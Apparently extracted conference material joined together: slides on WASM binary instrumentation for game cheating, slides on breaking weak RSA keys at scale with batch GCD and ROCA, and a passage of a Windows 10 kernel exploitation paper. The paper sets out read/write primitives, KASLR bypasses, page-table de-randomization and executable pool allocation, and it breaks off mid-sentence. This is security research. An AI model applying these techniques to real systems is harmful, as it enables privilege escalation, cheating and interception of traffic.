load/store instruction > Injected code will check if this access affects the memory area we are “watching” > If so, trigger our breakpoint code > To do all this, we need to employ some form of binary instrumentation BINARY INSTRUMENTATION > In a nutshell, binary instrumentation is the process of manipulating an application binary to aid in analysis > A lot of cool binary instrumentation tools exist for other types of binaries > Frida > DynamoRIO > ...others I haven’t used > There’s even some existing tools for WASM! BINARY INSTRUMENTATION 101 OTHER TOOLS > Wasabi (by Daniel Lehmann) is a very cool instrumentation and analysis tool for WASM > However, it does not exactly fit our needs > Wasabi is written in Rust and intended to be run from the terminal > Wasabi does its analysis by injecting Javascript > If we want to run a game at any decent FPS, we need to call Javascript as infrequently as possible OTHER TOOLS > WABT (WebAssembly Binary Toolkit) can parse and (to some extent) modify WASM binaries > It’s even been compiled to Javascript! > Unfortunately, WABT’s parsing takes too long/too much memory for most video game binaries OTHER TOOLS > What we want is a tool that: > Can instrument binaries from within the browser > Can handle large (40MB+) WASM binaries quickly and without running out of memory WAIL > The “WebAssembly Instrumentation Library” (WAIL) is my attempt at a solution to this problem > WAIL is a Javascript library focused on making targeted modifications to WASM binaries > Can add entries to any specification-defined section > Can edit existing entries of sections > Can add/remove sections WAIL PARSING > WAIL uses a couple of tricks to modify binaries significantly faster with less memory usage than other libraries > WAIL only parses sections/elements that are necessary to perform the defined modifications > WAIL parses binaries as a “stream” STREAM PARSING > The normal way of parsing a binary involves creating a “map” of all pieces that make up the binary > Once this map is created, you modify the pieces as needed and stick everything back together > This is convenient, but also slow and memory intensive STREAM PARSING > WAIL parses binaries as a “stream” — handling and modifying each element as soon as it is read > This is more efficient because we don’t need to save each element of the entire binary > Rather, we act on a single element at a time and then “forget” about it and move to the next PARSING GOTCHAS > There are a few downsides to this approach: > The first is that the parser can never go “backwards” > Once we finish parsing a particular element, we cannot go back and make changes to it > To deal with this, we must define all our modifications before we start parsing PARSING GOTCHAS > In some cases, one addition to a binary will require knowledge of another > For instance, to insert a new function into a WASM binary we must: > Add an element to the TYPE section > Add an element to the FUNCTION section that references the new TYPE element > Add an element to the CODE section corresponding to the new FUNCTION element PARSING GOTCHAS > WAIL uses a special grammar to deal with these cases > Each addition we make returns a “handle” to a value that will be resolved when parsing > This handle can be used in subsequent modifications > This allows us to perform complex modifications to binaries while still defining everything up front > The next gotcha: the function and global variable tables > Functions and globals are referenced by index into the respective table > The function table is built by taking all imported functions, then appending all internal functions > The same goes for imported and internal globals INDEX 0 INDEX 1 INDEX 2 INDEX 3 INDEX 4 INDEX 5 INDEX 6 INDEX 7 INDEX 8 I M P O R T E D I N T E R N A L > Therefore, if we add a new imported function or global, we’ve thrown off all references to internal functions/globals INDEX 0 INDEX 1 INDEX 2 INDEX 3 NEW ELEMENT (INDEX 4) INDEX 5 INDEX 6 INDEX 7 INDEX 8 I M P O R T E D I N T E R N A L > WAIL fixes this automatically by changing affected entries in the following sections: > EXPORT > ELEMENT > CODE > START INDEX 0 INDEX 1 INDEX 2 INDEX 3 NEW ELEMENT (INDEX 4) INDEX 5 INDEX 6 INDEX 7 INDEX 8 I M P O R T E D I N T E R N A L > First we create two new global variables > One for the address we are watching > One will hold two different “flags” > Is watchpoint enabled? > Size of value being watched EMULATING WATCH POINTS EMULATING WATCH POINTS > Next, we add an IMPORT entry for a Javascript function > This function will only be called when our watchpoint is triggered > This makes performance impact minimal EMULATING WATCH POINTS > Next we create a new internal function > As mentioned earlier, this requires adding to the TYPE, FUNCTION, and CODE elements > This new function will perform the actual logic of our watchpoints > Check if an access overlaps with our “watched” address > If it does, call the “trigger” function EMULATING WATCH POINTS > Finally, we place calls to our watchpoint function before each memory load or store instruction > As long as we’re careful about performance, we can apply watchpoints to games without noticeable drop in FPS CETUS > Cetus is a browser extension that implements features of Cheat Engine for WASM > Comes from the Latin word for “sea monster” > Cetus intercepts and instruments WASM binaries on the fly > Adds read/write watchpoints > Adds “freezing” functionality > Can apply user-defined patches CETUS DEMO MORE CETUS > Cetus can also do “differential” searching > Used to find values when an exact starting value is not known > Cetus also comes with a built-in speed hack > Works by replacing performance.now() and Date.now() OTHER EXAMPLES > WAIL can also be used to trace function calls by placing code at the beginning of each function > This is slow, but still fairly useful > WAIL can also replace a function entirely by swapping out all references to it > For instance, we can take a WASM function and replace it with an imported Javascript function > This way we can effectively patch WASM binaries using Javascript > WAIL can take “internal” functions of a binary and export them > This allows us to call the internal function on command with arbitrary arguments ADDING SYMBOLS > Using WAIL we can add our own symbols to a binary > There are two ways this can be done: > Add a “name” section to the binary with our symbols > Add an export entry for each function we want to name github.com/qwokka/wail github.com/qwokka/cetus GAME HACKING MONTAGE
pdf
Reaping and breaking keys at scale: when crypto meets big data Nils Amiet Yolan Romailler August 2018 — DEF CON 26 Warning: These slides are not up to date Get the latest slides from: https://research.kudelskisecurity.com/ Warning: if you want to test your keys live You can go to our website: keylookup.kudelskisecurity.com and submit your key to test it against our dataset! If the key is already known, results are immediate, otherwise you’ll have to check back later. We’ll come back to this during our demo. The problem ● Asymmetric cryptography relies on two type of keys: ○ the public key, that anybody can use to encrypt/verify data. ○ the private key, that should remain secret and allows for decryption/signing of the said data. ● Tons of public keys are out there: ○ TLS/SSL ○ SSH ○ PGP, … ● Can public keys leak data about the private keys? Crypto recap ● RSA (Rivest–Shamir–Adleman) ○ Choose two large prime numbers p and q ○ Public key (n, e) ■ with n = p * q ■ and some e such that e and λ(n) are coprime ○ Private key (n, d) where d ≡ e^−1 (mod λ(n)) ○ Message encryption ■ c ≡ m^e (mod n) ○ Ciphertext decryption ■ m ≡ c^d (mod n) ○ RSA security relies on the hardness of the integer factorization problem Crypto recap (cont’d) ● ECC (“Elliptic Curve Cryptography”) ○ Security based on the hardness of the EC discrete logarithm problem ■ It is hard to retrieve the integer d, knowing the points G and Q=dG ○ Working with an elliptic curve C ○ Private key is an integer d ○ Public key is a point Q = (x, y) = dG ■ where (x, y) are the coordinates of the point on a given known curve Passive attacks on public keys ● The Return of Coppersmith’s Attack (ROCA) ● RSA modulus factorization (Batch GCD) ● Invalid parameters ○ DSA generator ○ Key sizes ○ Invalid curve attacks ★ Batch GCD already used in 2010, 2012, 2016 to break weak keys ○ on datasets <100M keys ★ These are all known attacks! ★ And they are completely passive, the target is left unaware Collecting public keys ● X.509 certificates ○ HTTPS, on IPv4 range and on CT domain names (>260 million) ○ IMAP(S), POP3(S), SMTP(S) ● SSH keys ○ Github.com, Gitlab.com ○ SSH host key scans (port 22) ● PGP keys ○ Github.com, Keybase.io ○ Key dumps from SKS pool of PGP key servers Keys (millions) per key container type Keys collected per data source ● PGP keys ○ 9.5M on SKS key servers ○ 220k on Keybase.io ○ 6k on Github.com ● SSH keys ○ 71M from CRoCS dataset ○ 17M from SSH scans ○ 4.5M on Github.com ○ 1.2M on Gitlab.com ● X.509 certificates ○ > 200M from HTTPS scans ○ 1-2M each from SMTP(S), POP3(S) and IMAP(S) scans Our public keys stash: Big Brother style ● Attacks like RSA Batch GCD work best with larger datasets ○ More keys = more chances of finding common factors ● We collected as many public keys as we could ○ > 343,492,000 unique keys and growing ○ collection made over 1 year Key types ● RSA 324M 324476553 ● ECC 13M 13975895 ● DSA 2.5M 2568969 ● ElGamal 2.4M 2468739 ● GOST R 34.10-2001 1k 1759 ● Other <1k 217 What to do with the (big) data 1. Collect raw data 2. Parse raw data 3. Run additional tests on parsed data 4. Ingest parsed data into database 5. Run queries on distributed database 6. ??? 7. Profit Toolbox To collect data: ● Fingerprinting with cert/key grabbing: Scannerl with custom modules ● To parse it: Python code ● To ingest it: NiFi and HDFS ● To study it: Presto To break keys: ● Batch GCD on RSA keys, using a custom distributed version ● ROCA attack on vulnerable RSA keys ● Sanity checks on EC keys Demo [Live demo, using https://keylookup.kudelskisecurity.com/] [Factoring a key with the GCD, rebuilding the private key out of the factors] Behind the scenes ● Distributed fingerprinting using 50 Scannerl slaves ● Batch-GCD: ○ 280 vCPUs cluster across 7 nodes ○ 1.4 TB storage for intermediate results ● Data Lake with 10+ data nodes ● Storage: over 15TB including all raw data Results: RSA keys Broken keys: ● >4k RSA keys vulnerable to ROCA ○ 33% of size 2048 (weak), 64% of size 4096 (should be fine) ○ Mostly PGP keys (97%) ○ Found vulnerable keys on Keybase.io, Github.com and Gitlab.com! Check your keys! ● >200k RSA keys factored through batch GCD ○ Real-world breakable/broken keys! ○ 207k X.509 certificates, allowing for MitM attacks ■ at least 261 certs currently in use, 1493 certs used over last year ○ >1200 SSH keys, allowing for MitM attacks ○ 6 PGP keys, allowing for decryption, impersonation and other evil Results: RSA keys Unsurprisingly, many routers are concerned: Results: RSA keys D-Link problem Results: ECC keys ● The adoption rate of ECC differs greatly depending on the source: ○ X509 and PGP are steadily adopting ECC ● Most common curves for SSH: ○ secp256r1 97,68% ○ secp521r1 1,87% ○ Curve25519 0,37% ○ secp384r1 0,07% Growth of ECC keys Scan failure Fun facts ● Some keys are used as both PGP keys, SSH keys and/or X509 certs! ● PGP subkey/master key ratio ○ 50.5% master keys ○ 49.5% subkeys ○ Most people have only one subkey?! ● At least 361 keys we could factor had more than 2 factors! ● DSA is dead (OpenSSL deprecated it in 2015): ○ only 3106 X.509 certs seen over last year ○ < than 0.55% of SSH keys are DSA based Conclusion ● Mind your keys! ● Anybody can do the same kind of silent attack! And maybe they already do... ● Find our open source code on Github ○ https://github.com/kudelskisecurity ○ https://github.com/kudelskisecurity/scannerl ● Find more results and analysis on our blog ○ https://research.kudelskisecurity.com
pdf
1 TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITE-WHAT-WHERE VULNERABILITIES IN CREATORS UPDATE Morten Schenk [email protected] Contents Abstract ............................................................................................................................................................. 2 Background and Windows Kernel Exploitation History ..................................................................................... 3 Kernel Read and Write Primitives ..................................................................................................................... 4 Windows 10 Mitigations .................................................................................................................................... 7 Windows 10 1607 Mitigations ........................................................................................................................... 8 Revival of Kernel Read and Write Primitives ..................................................................................................... 8 Windows 10 1703 Mitigations ......................................................................................................................... 12 Revival of Kernel Read and Write Primitives Take 2 ....................................................................................... 14 Kernel ASLR Bypass .......................................................................................................................................... 17 Dynamic Function Location ............................................................................................................................. 22 Page Table Randomization .............................................................................................................................. 23 Executable Memory Allocation ....................................................................................................................... 25 2 Abstract Microsoft has put significant effort into mitigating and increasing the difficulty in exploiting vulnerabilities in Windows 10, this also applies for kernel exploits and greatly raises the bar. Most kernel exploits today require a kernel-mode read and write primitive along with a KASLR bypass. Windows 10 Anniversary Update and Creators Update has mitigated and broken most known techniques. As this paper shows it is possible, despite the numerous implemented changes and mitigations, to still make use of the bitmap and tagWND kernel-mode read and write primitives. Furthermore, KASLR bypasses are still possible due to design issues and function pointers in kernel-mode structures. KASLR bypasses together with kernel-mode read primitives allow for de-randomization of the Page Table base address, which allows for reuse of the Page Table Entry overwrite technique. Additionally, it is possible to hook kernel-mode function calls to perform kernel memory allocations of writable, readable and executable memory and retrieving the kernel address of that memory. Using this method overwriting Page Table Entries is not needed and any shellcode can be executed directly when it has been copied onto the newly allocated memory pages. The overall conclusion is that despite the increased number of mitigations and changes it is still possible to take advantage of Write-What-Where vulnerabilities in Creators Update to gain kernel-mode execution. 3 Background and Windows Kernel Exploitation History Kernel Exploitation has been on the rise in recent years, this is most likely a response to the increased security in popular user-mode applications like Internet Explorer, Google Chrome and Adobe Reader. Most of these major applications have implemented sandboxing technologies which must be escaped to gain control of the compromised endpoint. While sandboxing techniques are not as powerful on Windows 7, kernel exploits have an interest nonetheless, since they allow for privilege escalation. Leveraging kernel vulnerabilities on Windows 7 is considered rather simple, this is due to the lack of security mitigations and availability of kernel information. It is possible to gain information on almost any kernel object using API’s built into Windows. These include NtQuerySystemInformation1 and EnumDeviceDrivers2 which will reveal kernel drivers base address as well as many kernel objects or pool memory locations3. Using NtQuerySystemInformation it is quite simple to reveal the base address of ntoskrnl.exe Likewise, objects allocated on the big pool can also be found as described by Alex Ionescu4 While having the addresses of kernel drivers and objects is only a small part of kernel exploitation, it is important. Another crucial factor is storing the shellcode somewhere and getting kernel-mode execution of it. On Windows 7 the two easiest ways of storing the shellcode was to either allocate executable kernel memory with the shellcode in place or by using user memory but executing it from kernel-mode. Allocating executable kernel memory with arbitrary content can on Windows 7 be done using CreatePipe and WriteFile5, since the content is stored on the NonPagedPool which is executable 1 https://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx 2 https://msdn.microsoft.com/en-us/library/windows/desktop/ms682617(v=vs.85).aspx 3 https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu- I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf 4 http://www.alex-ionescu.com/?p=231 5 http://www.alex-ionescu.com/?p=231 4 Gaining kernel-mod execution can be achieved by either overwriting the bServerSideWindowProc bit of a kernel-mode Window object. This causes the associated WProc function to be executed by a kernel thread instead of a user-mode thread. A different way is by overwriting a function pointer in a virtual table, a very commonly used one is HalDispatchTable in ntoskrnl.exe. Windows 8.1 introduced several hardening initiatives, which resulted in increasing the difficulty of kernel exploitation. To start with the kernel leaking API’s like NtQuerySystemInformation are blocked if called from low integrity, which is the case when the application is running inside a sandbox. Windows 8.1 also made the use of non-executable memory in the kernel widespread, NonPagedPool memory was generally replaced with NonPagedPoolNx memory. Finally, Windows 8.1 introduced Supervisor Mode Execution Prevention (SMEP), which blocks execution of code from user-mode addresses from a kernel-mode context. These mitigations stop most exploitation techniques which are known in Windows 7, however exploitation is still very much possible, it does require new techniques however. Windows 10 has the same mitigations in place. The two first editions of Windows 10, which are called Windows 10 1507 and 1511 do not have any additional mitigations in place however. Kernel Read and Write Primitives To overcome the mitigations put in place in Windows 8.1 and Windows 10, the concept of memory read and write primitives known from user-mode browser exploits were adapted into kernel exploitation. Two kernel-mode read and write primitives are the most popular and mostly used. These are coined bitmap primitive and tagWND primitive. The bitmap primitive makes use of the GDI object Bitmap, which in kernel-mode is called a Surface object. The principle is to perform allocations of these Surface objects using CreateBitmap such that two bitmap objects are placed next to each other. When this is the case a Write-What-Where vulnerability may be used to modify the size of the first Surface object. The size of a Surface object is controlled by the sizlBitmap field which is at offset 0x38 of the object, it consists of the bitmaps dimensions defined by a DWORD each. When the size of the bitmap has been increased it is possible to use the API’s SetBitmapBits and GetBitmapBits to modify the second Surface object6. The field modified is the pointer which controls where the bitmap content is stored. This allows both read and write capabilities at arbitrary kernel memory locations. The read and write functionality can be implemented as shown below: 6 https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives 5 To perform the overwrite using a Write-What-Where vulnerability requires knowledge of where the Surface object is in kernel-mode. Since this must also work from Low Integrity API’s like NtQuerySystemInformation cannot be used. It is however possible to find the address of the Surface object through the GdiSharedHandleTable structure which is held by the Process Environment Block. The GdiSharedHandleTable is a structure containing all GDI objects, including Surface objects. Using the handle to the user-mode bitmap object it is possible to look up the correct entry in the table, where the kernel- mode address of the Surface object is given. The second read and write kernel-mode primitive was the tagWND. It uses a similar technique to the bitmap read and write primitive, by allocating two Windows, which has corresponding kernel-mode objects called tagWND. These tagWND objects must also be located next to each other. A tagWND object may contain a variable size field called ExtraBytes, if the size of this field, which is called cbWndExtra, is overwritten then it is possible to modify the next tagWND object. Using the SetWindowLongPtr API it is now possible to modify arbitrary fields of the following tagWND object, specifically the StrName field, which specifies the location of the title name of the Window. Using the user- mode API’s InternalGetWindowText and NtUserDefSetText it is possible to perform read and write operations at arbitrary kernel memory addresses7. A write primitive may be implemented as shown below: 7 https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang-Attacking-Windows-By-Windows.pdf 6 Just like with the bitmap read and write primitive, the location of the tagWND object must be known. This is possible using the UserHandleTable presented by the exportable structure called gSharedInfo located in User32.dll. It contains a list of all objects located in the Desktop Heap in kernel-mode, having the handle of the user-mode Window object allows a search through the UserHandleTable, which reveals the kernel- mode address of the associated tagWND object. An implementation is shown below: To overcome the issue of non-executable kernel memory a technique called Page Table Entry overwrite has become very common. The idea is to allocate shellcode at a user-mode address, resolve its corresponding Page Table Entry and overwrite it. The Page Table contains the metadata of all virtual memory, including bits indicating whether the memory page is executable or not and whether it is kernel memory or not. Leveraging the kernel-mode write primitive against a Page Table Entry for an allocated page allows for modification of execution status and kernel-mode status. It is possible to turn user-mode memory into kernel-mode memory in regards to SMEP allowing for execution. The base address of the Page Tables is static on Windows 8.1 and Windows 10 1507 and 1511 and the address of the Page Table Entry may be found using the algorithm below Performing an overwrite can also turn non-executable kernel memory into executable kernel memory 7 Windows 10 Mitigations Once executable kernel-mode memory has been created gaining execution may be performed by the same methods as on Windows 7. In many instances, the base address of ntoskrnl.exe is needed, previously this was done using NtQuerySystemInformation, but since that is no longer possible a very effective way is to use the HAL Heap8. This was in many cases allocted at a static address and contains a pointer into ntoskrnl.exe at offset 0x448. Using the kernel-mode read primitive to read the content at address 0xFFFFFFFFFD00448 yields a pointer into ntoskrnl.exe, this may then be used to find the base address of the driver by looking for the MZ header, as shown below This concludes the brief history of kernel exploitation from Windows 7 up to Windows 10 1511. 8 https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows- hals-heap 8 Windows 10 1607 Mitigations Windows 10 Anniversary Update, which is also called Windows 10 1607 introduced additional mitigations against kernel exploitation. First, the base address of Page Tables is randomized on startup, making the simple translation of memory address to Page Table Entry impossible9. This mitigates the creation of executable kernel-mode memory in many kernel exploits. Next the kernel-mode address of GDI objects in the GdiSharedHandleTable were removed. This means that it is no longer possible to use this method to locate the kernel-mode address of the Surface objects, which in turn means that it is not possible to overwrite the size of a Surface object, breaking the bitmap kernel- mode read and write primitive. Finally, the strName field of a tagWND object must contain a pointer which is inside the Desktop Heap when being used by InternalGetWindowText and NtUserDefSetText10. This limits it usage since it can no longer be used to read and write at arbitrary kernel-mode address. Revival of Kernel Read and Write Primitives This section goes into the mitigations which break the kernel-mode read and write primitives. The first primitive to be examined is the bitmap primitive. The issue to be resolved is how to find the kernel-mode address of the Surface object. If the Surface object has a size of 0x1000 or larger it is in the Large Paged Pool. Furthermore, if the Surface object has a size of exactly 0x1000 the Surface objects will be allocated to individual memory pages. Allocating many Surface objects of size 0x1000 will cause them to be allocated to consecutive memory pages. This makes sure that locating one Surface object will reveal several Surface objects, which is needed for the kernel-mode read and write primitive. The Large Paged Pool base address is randomized on startup, which requires a kernel address leak. Inspecting the Win32ThreadInfo field of the TEB shows It turns out the pointer is exactly the address leak we need, since the base address of the Large Paged Pool can be found from it by removing the lower bits. If very large Surface objects are created they will give a predictable offset from the base address, this may be done as seen below 9 https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf 10 https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10-with-zero-day-exploit-mitigations/ 9 Using the static offset 0x16300000 will turn the Win32ThreadInfo pointer into an information leak of the Surface object as shown below Inspecting the memory address given by the leakPool function after allocating the large Surface objects shows While this does point into the Surface object, it is only the data content of the object. It turns out that it will almost always be the second Surface object, if that is deleted and the freed memory space is reallocated by Surface objects which take up exactly 0x1000 bytes. This is done by allocating close to 10000 Surface objects as seen below Inspecting the memory address given by the address leak will now reveal a Surface object as seen below 10 By exploiting a Write-Where-What vulnerability the size of the Surface can be modified since the size is now at a predictable address. The second issue is the mitigation of the tagWND kernel-mode read and write primitive. The strName pointer of tagWND can only point inside the Desktop Heap when it is used through InternalGetWindowText and NtUserDefSetText. This limitation is enforced by a new function called DesktopVerifyHeapPointer as seen below The strName pointer which is in RDX is compared with the base address of the Desktop Heap as well as the maximum address of the Desktop Heap. If either of these comparisons fail a BugCheck occur. While these checks cannot be avoided the Desktop Heap addresses come from a tagDESKTOP object. The pointer for the tagDESKTOP object is never validated and is taken from the tagWND object. The structure of the tagWND concerning the tagDESKTOP is seen below 11 The tagDESKTOP object used in the comparison is taken from offset 0x18 of the tagWND object. When SetWindowLongPtr is used to modify the strName pointer, it is also possible to modify the tagDESKTOP pointer. This allows for creating a fake tagDESKTOP object as seen below This allows the exploit to supply a fake Desktop Heap base and maximum address which is just below and above the pointer dereferenced by strName. This can be implemented as shown below Using the modification discussed in this section allows the continued use of both the bitmap and the tagWND kernel-mode read and write primitives. 12 Windows 10 1703 Mitigations Windows 10 Creators Update or Windows 10 1703 introduce further mitigations against kernel exploitation. The first mitigation is directed against the tagWND kernel-mode read and write primitive. This is performed in two ways, first the UserHandleTable from the gSharedInfo structure in User32.dll is changed. The previous kernel-mode addresses of all objects in the Desktop Heap is removed as seen below. First the Windows 10 1607 UserHandleTable is shown Then for Windows 10 1703 Like the removal of kernel-mode addresses in GdiSharedHandleTable in Windows 10 1607, this removal of kernel-mode addresses in UserHandleTable removes the possibility of locating the tagWND object. The second change is modification of SetWindowLongPtr, any ExtraBytes written are no longer located in kernel-mode. As shown below the ExtraBytes pointer is taken at offset 0x180 from the beginning of the tagWND object. Inspecting registers at the point of write shows the value in R14 of 0xFFFFF78000000000 to be written to the address in RCX, which is an address in user-mode 13 This clearly breaks the primitive since the strName field of the second tagWND can no longer be modified. There are two additional changes in Creators Update, the first, which is a minor change, modifies the size of the Surface object header. The header is increased by 8 bytes, which must be considered, else the allocation alignment fails. The second is the randomization of the HAL Heap, this means that a pointer into ntoskrnl.exe can no longer be found at the address 0xFFFFFFFFFD00448. 14 Revival of Kernel Read and Write Primitives Take 2 With the changes in Windows 10 Creators Update, both kernel-mode read and write primitives break, however the changes to the bitmap primitive are minimal and may be rectified in a matter of minutes by simple decreasing the size of each bitmap to ensure it takes of 0x1000 bytes. The changes for the tagWND kernel-mode read and write primitive are much more substantial. The Win32ClientInfo structure from the TEB has also been modified, previously offset 0x28 of the structure was the ulClientDelta, which describes the delta between the user-mode mapping and the actual Desktop Heap. Now the contents are different: A user-mode pointer has taken its place, inspecting that pointer reveals it to be the start of the user-mode mapping directly, which can be seen below: In this example, the content of the two memory areas are the same, and that the Desktop Heap starts at 0xFFFFBD2540800000. While the UserHandleTable is removed and the metadata to perform a search for the handle has been removed, the actual data is still present through the user-mode mapping. By performing a manual search in the user-mode mapping it is possible to locate the handle and from that calculate the kernel-mode address. First the user-mapping is found and the delta between it and the real Desktop Heap as seen below. Next the kernel-mode address of the tagWND object can be located from the handle: 15 This overcomes the first part of the mitigation introduced in Creators Update. While the address of the tagWND object can be found, it still does not solve all the problems, since SetWindowLongPtr cannot modify the strName of the following tagWND object, it is still not possible to perform read and write operations of arbitrary kernel memory. The size of ExtraBytes for a tagWND object denoted by cbWndExtra is set when the window class is registered by the API RegisterClassEx. While creating the WNDCLASSEX structure used by RegisterClassEx another field called cbClsExtra is noted as seen below This field defines the size of ExtraBytes for the tagCLS object which is associated with a tagWND object. The tagCLS object is also allocated to the Desktop Heap and registering the class just prior to allocating the tagWND makes the tagCLS object to be allocated just before the tagWND object. Allocating another tagWND object after that brings about a layout as seen below By overwriting the cbClsExtra field of the tagCLS object instead of the cbWndExtra field of the tagWND1 object we obtain an analogous situation to before. Using the API SetClassLongPtr instead of SetWindowLongPtr allows for modification of the ExtraBytes of the tagCLS object. This API has not been modified and still writes its ExtraBytes to the Desktop Heap, which once again allows for modifying the strName field of tagWND2. tagCLS tagWND2 tagWND1 16 An arbitrary write function can be implemented as shown below A similar arbitrary read primitive can be created as well, thus completely bypassing the mitigations introduced in Creators Update against kernel-mode read and write primitives. 17 Kernel ASLR Bypass The mitigations introduced in Windows 10 Anniversary Update and Creators Update have eliminated all publicly known leaks of kernel drivers. Often kernel-mode information leak vulnerabilities are found, but these are patched by Microsoft, of more interest are the kernel driver information leaks which are due to design issues. The last two known KASLR bypasses were due to the non-randomization of the HAL Heap and the SIDT assembly instruction, both have been mitigated in Windows 10 Creators Update and Anniversary Update respectively. Often kernel driver memory addresses are needed to complete exploits, so discovering new design issues which lead to kernel driver information leaks are needed. The approach used is to make KASLR bypasses which relate to the specific kernel-mode read primitive. So, one KASLR bypass is created for the bitmap primitive and one for the tagWND primitive. The first one to be discussed is the one related to the bitmap primitive. Looking at the kernel-mode Surface object in the structures reversed engineered from Windows XP and written on REACTOS shows the Surface object to have the following elements Reading the description of the field called hdev yields This gives the question of what is the PDEVOBJ, luckily that structure is also given on REACTOS and contains 18 The fields of type PFN are function pointers and will give us a kernel pointer. The method for leaking is then to read the hdev field and use that to read out the function pointer. Inspecting the Surface object in memory shows the value of hdev to be empty Creating the bitmap object with the CreateBitmap API does not populate the hdev field, however other API’s exist to create bitmaps. Using the CreateCompatibleBitmap API also creates a bitmap and a kernel- mode Surface object, inspecting that object in memory shows it to contain a valid hdev pointer Using this pointer and dereferencing offset 0x6F0 gives the kernel-mode address of DrvSynchronizeSurface in the kernel driver cdd.dll. 19 To leverage this, the following method is employed. First locate the handle to the bitmap which has its Surface object at an offset 0x3000 bytes past the one found with the pool leak. Then free that Surface object by destroying the bitmap and reallocate multiple bitmap objects using the CreateCompatibleBitmap API. This is implemented below The hdev pointer is then at offset 0x3030 from the pool leak, which in turn gives the pointer to DrvSynchronizeSurface. DrvSynchronizeSurface contains a call to the function ExEnterCriticalRegionAndAcquireFastMutexUnsafe in ntoskrnl.exe at offset 0x2B as shown below From this pointer into ntoskrnl.exe it is possible to find the base address by checking for the MZ header and searching backwards 0x1000 bytes at a time until it is found. The complete ntosknl.exe base address leak function is shown below While the above explained KASLR bypass works best while used in conjunction with the bitmap read and write primitive, the tagWND read and write primitive can also make use of a similar idea. By looking at structures documented on REACTOS from Windows XP, the header of a tagWND object is a structure called THRDESKHEAD, which contains another structure called THROBJHEAD, which in turn contains a pointer to a structure called THREADINFO. This is shown below, first the tagWND structure header 20 Followed by the THRDESKHEAD and the THROBJHEAD Finally, the header of the THREADINFO structure, which contains a structure called W32THREAD The W32THREAD structure contains a pointer to the KTHREAD object as its first entry While this is a lot of structure transversal of very old documented structures it is worth noticing that even in Windows 10 Creators Update the KTHREAD contains a pointer into ntoskrnl.exe at offset 0x2A8. Thus given the kernel-mode address of a tagWND object it is possible to gain a pointer to ntoskrnl.exe. By translating the 32-bit Windows XP structures to 64-bit Windows 10 and inspecting memory it becomes clear that dereferencing offset 0x10 of the tagWND object gives the pointer to the THREADINFO object. Dereferencing that pointer gives the address of the KTHREAD, this is shown in memory below 21 It is possible to wrap this KASLR bypass in a single function, where the base address of ntoskrnl.exe is found from the pointer into notoskrnl.exe in the same fashion as explained for the bitmap primitive. 22 Dynamic Function Location In the following sections, it becomes important to locate the address of specific kernel driver functions, while this could be done using static offsets from the header, this might not work across patches. A better method would be to locate the function address dynamically using the kernel-mode read primitive. The read primitives given so far only read out 8 bytes, but both the bitmap and the tagWND primitive can be modified to read out any given size buffer. For the bitmap primitive this depends on the size of the bitmap, which can be modified allowing for arbitrary reading size. The arbitrary size bitmap read primitive is shown below The only difference is the modification of the size values and the size of the data buffer to retrieve in the final GetBitmapBits call. This one read primitive will dump the entire kernel driver, or the relevant part of it into a buffer ready for searching inside user-mode memory. The next idea is using a simple hash value of the function to locate it. The hash function used is simply adding four QWORDS offset by 4 bytes together. While no proof of collision avoidance will be made, it has turned out to be very effective. The final location function is shown below 23 Page Table Randomization As previously mentioned the most common way of achieving executable kernel memory in Windows 10 is by modifying the Page Table Entry of the memory page where the shellcode is located. Prior to Windows 10 Anniversary Update the Page Table Entry of a given page can be found through the algorithm shown below In Windows 10 Anniversary Update and Creators Update the base address value of 0xFFFFF68000000000 has been randomized. This makes it impossible to simply calculate the Page Table Entry address for a given memory page. While the base address has been randomized the kernel must still look up Page Table Entries often, so kernel-mode API’s for this must exist. One example of this is MiGetPteAddress in ntoskrnl.exe. Opening MiGetPteAddress in Ida Pro shows that the base address is not randomized However, looking at it in memory shows the randomized base address The idea is to find the address of MiGetPteAddress and read the randomized base address and use that instead of the previously static value. The first part can be achieved by leveraging the read primitive and locating the function address as described in the previous section. Having found the address of MiGetPteAddress, the base address of the Page Table Entries are at an offset of 0x13 bytes. This can be implemented as shown below 24 Next the address of the Page Table Entry of a given memory page can be found by the original method, only using the randomized base address This may also be verified directly in memory, as shown in the example below for the memory address 0xFFFFF78000000000 If the shellcode is written to offset 0x800 of the KUSER_SHARED_DATA structure, which is still static in memory at the address 0xFFFFF78000000000, the updated method can be used to locate the Page Table Entry. Then the memory protection can be modified by overwriting the Page Table Entry to remove the NX bit, which is the highest bit. Execution of the shellcode can be performed with known methods like overwriting the HalDispatchTable and then calling the user-mode API NtQueryIntervalProfile This technique de-randomizes the Page Tables and brings back the Page Table Entry overwrite technique. 25 Executable Memory Allocation While modifying the Page Table Entry of an arbitrary memory page containing shellcode works, the method from Windows 7 of directly allocating executable kernel memory is neat. This section explains how this is still possible to obtain on Windows 10 Creators Update. Many kernel pool allocations are performed by the kernel driver function ExAllocatePoolWithTag in ntoskrnl.exe. According to MSDN the function takes three arguments, the type of pool, size of the allocation and a tag value. Just as importantly on success the function returns the address of the new allocation to the caller. While NonPagedPoolNX is the new standard pool type for many allocations, the following pool types exist even on Windows 10. Specifying the value 0 as pool type will force an allocation of pool memory which is readable, writable and executable. Calling this function from user-mode can be done in the same way as shellcode memory pages are through NtQueryIntervalProfile. Sadly, to reach the overwritten entry in the HalDispatchTable specific arguments must be supplied, rendering the call to ExAllocatePoolWithTag invalid. Another way of calling ExAllocatePoolWithTag is needed, the technique used by overwriting the HalDispatchTable could work for other user-mode functions if different function tables can be found. One such function table is gDxgkInterface which is in the kernel driver win32kbase.sys, the start of the function table is seen below 26 Many functions use this function table, the requirements for the function we need is the following; it needs to be callable from user-mode, it must allow at least three user controlled arguments without modifications and it must be called rarely by the operating system or background processes to avoid usage after we overwrite the function table. One function which matches these requirements is the user-mode function NtGdiDdDDICreateAllocation, which in dxgkrnl is called DxgkCreateAllocation and seen above at offset 0x68 in the function table. The user-mode function is not exportable, but only consists of a system call in win32u.dll. It is possible to implement the system call directly when using it, this is 